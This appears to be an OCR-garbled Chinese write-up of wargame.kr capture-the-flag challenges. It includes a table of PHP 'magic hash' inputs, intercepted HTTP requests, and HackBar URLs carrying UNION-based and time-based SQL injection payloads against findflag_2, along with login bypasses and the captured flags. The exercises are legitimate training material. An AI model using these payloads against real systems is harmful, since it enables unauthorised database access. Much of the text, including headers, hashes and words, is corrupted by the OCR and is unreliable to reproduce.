md5 32 240610708 [0ed62097431906509019562988736854 PS\?)';ESL
Independently
found by
Michael A.

shal 40 10932435112|0e07766915004133176347055865026311692244 Cleverly &
Michele
Spagnuolo &
Rogdham

sha224 56 - - -

sha256 b4 - - -

sha384 P96 - - -

sha512 128 | - -

. WhiteHat

ripemd12832 315655854 |0e251331818775808475952406672980 .
Security, Inc.

. Michael A

ripemd16040 20583002034/00e1839085851394356611454660337505469745 Cleverly

ripemd256(64 - - -

ripemd320{80 - - -

whirlpool (128 | - -

. WhiteHat

tiger128,3 32 265022640 [0e908730200858058999593322639865 .
Security, Inc.

tiger160,3 40 13181623570[00e4706040169225543861400227305532507173 gg;zgiljolo

tiger192,3 48 - - -

. WhiteHat

tiger128,4 32 479763000 [00e05651056780370631793326323796 .
Security, Inc.

tiger160,4 40 62241955574/0e69173478833895223726165786906905141502 rS\g;;iljolo

tiger192.4 48 - - -

snefru 64 - - -

snefru256 (B4 - - -




gost 64 - - B
adler32 B8 [FR 0000099 WhiteHat
Security, Inc.
crc32 8 2332 0e684322 UthgHat
Security, Inc.
crc32b 8 6586 0e817678 WhiteHat
Security, Inc.
fnv132 8 2186 0e591528 UthgHat
Security, Inc.
frvi64 16 8338000  [0e73845709713699 WhiteHat
Security, Inc.
joaat 8 18409 02074025 WhiteHat
Security, Inc.
WhiteHat
haval128,332 809793630 |00e38549671092424173928143648452 .
Security, Inc.
Independently
found by
haval160,340 18159983163|0e01697014920826425936632356870426876167 ggﬁs N
Michele
Spagnuolo
haval192,348 488920569470e4868841162506296635201967091461310754872302?41ggﬁ;ﬂgk
haval224 356 - - B
haval256,3/64 - - B
WhiteHat
haval128,432 71437579  0e316321729023182394301371028665 .
Security, Inc.
haval160,4/40 12368878794/0e34042599806027333661050958199580064722 ggggifoh
haval192,448 - i i
haval224,4/56 - i -
haval256,4/64 - i -
WhiteHat
haval128,532 115528287 |0e495317064156922585933029613272 .
Security, Inc.
haval160,540 3390268823100e2521569708250889666329543741175098562 ggggifoh
haval192,548 52888640556Oe9108479697641294204710?54930487?251O99828836?72$;;?|50Ic
haval224. 556 - - B
haval256,5/64 - - 5

XA S N AR L 94 R AT




Raw | Params | Headers | Hex Raw | Headers | Hex HTMLIRender]

Safari/537.36 [a <form name="vote” method="post”
Content-Type: application/z—www—form—urlencoded r action="">

Accept: <input type="text” name="id"
text/htmnl, application/shtml+xnl, application/xznl q=0. 9, inage/webp placeholder="10"/><br>

kS g=0.8 <input type="password”
Referer: http://wargane. kr:8080/jff3_nagic/ nane="pw” placeholder="P¥"/><br>

Aeccept-Encoding: gzip, deflate <butten type="submit”
Accept-Language: zh—CH, zh; g=0. & value="Vote” >Submit</huttons

Cookie: </forn>
ci_session=a%3410%34%TBs%3410%34%225es510on_1d%22%3Bs%3432%34%224 Success! Hello adminibr /:Flag
997bf66a610f83796991e3a771hf190%22%3Bs% 341 0%34%221p_address%22%3 087c263c59fal2fa82eledce4f28b74a9d066df3

Bs%EA14%34%22218, 29, 102, 11T%22%36s%341 0%34%22user_agenth22%3Bs%3
A114%34%220oz111a%2F5. 0+428W indows T+ 0. 0%3B+W1n64%3B+x64%29+Ap
plefebKit%2F537. 36+%28EHTHL% 2C+] 1ke+Gecko%29+Chrone% 2F56. 0. 2924,
87+Safari%cF537. 36%22%3Bs%3A13%34%22 last_activity%22%3B1%3414888
46574%3Bs%349%34%22user_datakZ2%3Bsh3A0%34A%22%22%3Es%344%34%22na
mek22%3Bs%3A9%34%2201 Shtlar3%22%3Bs%345% 34%22enal 1% 22%3Bs %341 6%3
A%22591612329%400q. con%22%3Bsh344%34%221 angh22%3BsHM343%34% 2 2engh
22%3Bs%3411%34%22achi evenent%22%3Bs%347%34% 22 defaul t%22%3Bs %34 5%
3A%22point%22%3Bs%344%34%229550%22%3B% TD4echacT04f Tcohd934Ta462e -
ed4c35ebecf5eic3

Cormection: close

id=admninfpw=115528287

[ Flage="inapa Fit " ine are="inasac/mirN? ine” alt="" /ui/a

PR S s
http://bobao.360.cn/learning/detail/398.html

adm1nkyj

TR



http://bobao.360.cn/learning/detail/398.html

R id 5 pw FEEEN, BEEIERS, B id ARBO, SG#iTHWH 205

INI V| = @ SQL* XS5 kncryptiont kncodingT Otherr
@ Load URL | http://wargame.kr:8080/adm1nkyj/?id="union select * from findflag_2 order by 5-- &pw=1
& split URL

» Execute

[ ] Enable Post data [_] Enable Referrer

Hello adm1ngnngn

HB3H551
- TEEiES




KBt 38 T <8 Finformation|schemaluserfll (
XA e 2R A i et (

@l Load URL | http://wargame.kr:8080/adm1nkyj/?id=" union select 1,database%28%29,3,4,5 -- &pw=1

§ split URL

b Execute

[ ] Enable Post data [_] Enable Referrer

Hello adm1nkyj

o)

BoFAERA, HTREHSIE T, FrilAseRBUE 5%
H Hsql W E WL, #4—5 KERRE R BT B
H: WMAF B H from BHELINE, FrilTERA

B3 id

= onL oo Limaypeuvn Loy weui

Split URL

@ Load URL | http://wargame.kr:8080/adm1nkyj/?id="union all select 1,a,3,4,5 from (select 1,2 as a,3,4,5 union all select * from findflag_2 limit 1,1) as x -- &pw=123
B‘L
¢ Execute

[] Enable Post data [_| Enable Referrer

Hello adm1ngnngn

B3] pw

INI M| = & 5QLT X55 Ekncryption kncodingT Otherr

@ Load URL | http://wargame.kr:8080/adm1nkyj/?id=" union all select 1,a,3,4,5 from (select 1,2,3 as a,4,5 union all select * from findflag_2 limit 1,1) as x -- &pw=123
% spliture

4 Execute

[] Enable Post data [ ] Enable Referrer

Hello |@SA#$!

B3 flag

INI M= @ SQL XS5 kncryptionT EncodingT  Uthert

@ Load URL | http://wargame.kr:8080/adm1nkyj/?id="union all select 1,a,3,4,5 from (select 1,2,3,4 as &,5 union all select * from findflag_2 limit 1,1) as x -- &pw=123

% split URL

4 Execute

[] Enable Post data [_| Enable Referrer

Hello FKCWNUxS1g0QjJQVilEyRsDBrPzGbn9X0A65pLTt8M3IKHhd4ZYecv7fga2uwmo




153 4 flag

INT ¥ = & SQL- XSS+ Encryption Encoding™ Other

@ Load URL | http://wargame.kr:8080/adm1nkyj/?id=adm1ngnngn&pw=!@5A%23%!&flag=FkCWNUxS1gOjJQVilEyRsDBrPzGbnIX0A65pLTt8M3IKHhd4ZYecv7fgaZuwmo

4 split URL

» Execute

[] Enable Post data [ Enable Referrer

good jobl!
FLAG : e4f537b9b03584fefbe83d614aee61497913ccc

H: BT # EEAPRER, PrUEERD

QnA
IE, R TFHEAposthIfE, ZiREANS

Raw | Params | Headers | Hex

Raw | Headers | Hex HTMLxRender]

POST /ona/?page=to_jsmaster HTTP/1.1

Host: wargame. lkr:8080

Content-Length: 57

Cache-Control: maxz—age=0

Jrigin: http://wargame. kr:8080

Uperade-Insecure—Requests: 1

User—fgent: Mozilla/5.0 (Windows NT 10.0; Win64, xz84) AppleVebKit/537.36

(KHTML, like Gecko) Chrome/36.0.2924.87 Safari/537. 36

Content-Type: application/z—www—forn—urlencoded

Accept:

text/htmnl, application/xhtml+xml, application/xnl; g=0.9, inage/webp, */%*; q=0. &
Referer: http://wargane. kr:8080/qna/?page=to_Jjsnaster

hccept—Encoding: gzip, deflate

hccept—Language: zh-Cl, zh;q=0. 8

Cockie:
ci_session=a%3410%34%7Bs%3410%34%22sess1on_1d%22%3Bs%3432%34%224764b 2 hfed201900
949231 3b4486ae4%22%3Bs%h3410%34%221p_address%22%3Bs%341 4%34%22218. 29. 102, 125%22%
3Bs%3410%3A%22user_agent%22%3Bs%34A114%34%22Moz111a%2F 5. 0+%28Windows+0T+10. 0%3B+
Tinf4%3B+xf4%29+AppleWebKit%2F537. 36+%28KHTULS2C+]l ike+Gecko% 29+ hrone%2F56. 0. 29
24, 87+5afari%2Fa37. 36%22%3Bs%3413%3A%221ast_activityv%22%3B1% 3414908781 43%3Bsh34
9 3A%2 2user_data%22%3Bs%3A0%3A%22%2 2% 3B s %34 4% 34%2 2nam ek 2 2% 3B s% 34 9% 34%2 211 ShtWar
3H22%3Bs%h3A5%34%22enal 1% 22%3Bs% 341 6%34%22591612329%40q0. con%22%3Bs%344%34%221an
h22%3Esh3A3%3A%22eng 22%3B5%3411%3A% 22achl evenent%h 22%3Es% 34 Th34% 2 2def aul 1%22% 3
Bs%3A0%3A%22polnt%22%3Bs%345%34%2211150%22%3B% TDSh T6ch4f950caf4a994c 7640282877
b1d4a080f

Comnection: close

cont=input+contents%2l&mnail=guest&type=if (1=1, sleep(5), 1)

RIMEIER, Friltype NIEANE, HEHE
A

L

HTTF/1.1 200 OK

Date: Thu, 30 Mar 2017 13:03:43 GMT
Server: Apache/2. 4.7 (Ubuntu)
i-Powered-By: PHP/3. 5. 9-lubuntud. 21
Content-Length: 60

Connection: close

Content-Tvpe: text/html; charset=UTF-8

<scriptralert(’ send success’) ;window. location=". /" ;</script>









FEZ DI

@ Load URL | http://wargame.kr:8080/zairo/?id=1" union select * from findflag_2 order by 5-- &pw=1
% split URL

’ Execute

[ ] Enable Post data [_] Enable Referrer
@z~ &cookiesv o Cssv [~ @EA~ ONEES- ERhEE- /mor /Ex ATR W=E)

NOW COUNT = 63
Hello zairowkdIfhdkel

RIAESF, FRRBAARK ZRERARIE HE, RRANHEHMhES

@ Load URL | http://wargame.kr:8080/zairo/?id="union select 1,&pw=,3,4,5%23
§  split URL

’ Execute

[ ] Enable Post data [_] Enable Referrer
@=r~ &AcCookiesv s Cssv [=z~ @EK- ORTES- E=flaly Jmoy Eke

NOW COUNT = 29
Hello and xvvcPwdcoaalsslfe=

2T

@ Load URL | http://wargame.kr:8080/zairo/?id=" union select 1,xvwcPw4coaalsslfe,3,4,5 from findflag 2%23
& split URL

» Execute

[ ] Enable Post data [_] Enable Referrer
@=m~ AcCookiesv 2 CSsv ==~ @EL~ ORRsE~ Qe Jindy J G5 ALS~ mEEEL

NOW COUNT = 2
Hello wkdIfhpw!! @ %%# @ @#

)5 EE A KIwpIA



5 3flag

login with crypto! but..

BEI







RIFEH N user , ssn, pass, 1B pass &FH ssn M user #4T 3DES K ECB N, FH HINZEBIX, SRJ5 basees N
%, 1645, XHFEE, HENRILEREE, XAEHAME TR —BLERE, R NHEMm TR
RIG R T ARG —N 5

XA ERE MG R LR, BRFELL row R [Fifalse
BHE—%F, K mysql_query HBYGHEKEIEHI %R, RElfalse, Kk mysql fetch_array 2iR[El NULL, £3id5m27A)

A




<br />
<b>Warning</b>: mysql_fetch_array() expects parameter 1 to be resource, boolean given in <b>/home/www/login_with_crypto
php</b> on line <b>53<{/b><br />
ss!!! PASSWORD IS : <b>beB8a923e37fabfbabld67e2c7c1486dddf5544f23</b><hr
{form method="post” action="./index. php”>
<table
><td>Identify</td><td><{input type= text’ value= guest’ maxlength= 32’ name= user /></td
><{td>Social Security</td><td><input type= text’ maxlength="6" value= 000000’ name= ssn
r >{td>PASSWORD</td><{td>{input type= text’ value= guest’ name= pass’ /><{/td>
><{td colspan="2"><{input type="submit” value="Login” /><{/td><{/tr>
{/table
</form
<hr />
{a href= ./?view-source >GET SOURCE{/a>

7T B A S




X R A it i

320rintEEH, HAMER 27031-1=2147483647 MSEEH, FEAEGKT .

AP AT

R [A]

-2147483645

I\ D1=21474836468D2=-2147483645 18345 5

b67e9f35bdb08c55650b6962eb1d23c9556670bf

H: DIFKERS, J{EEER
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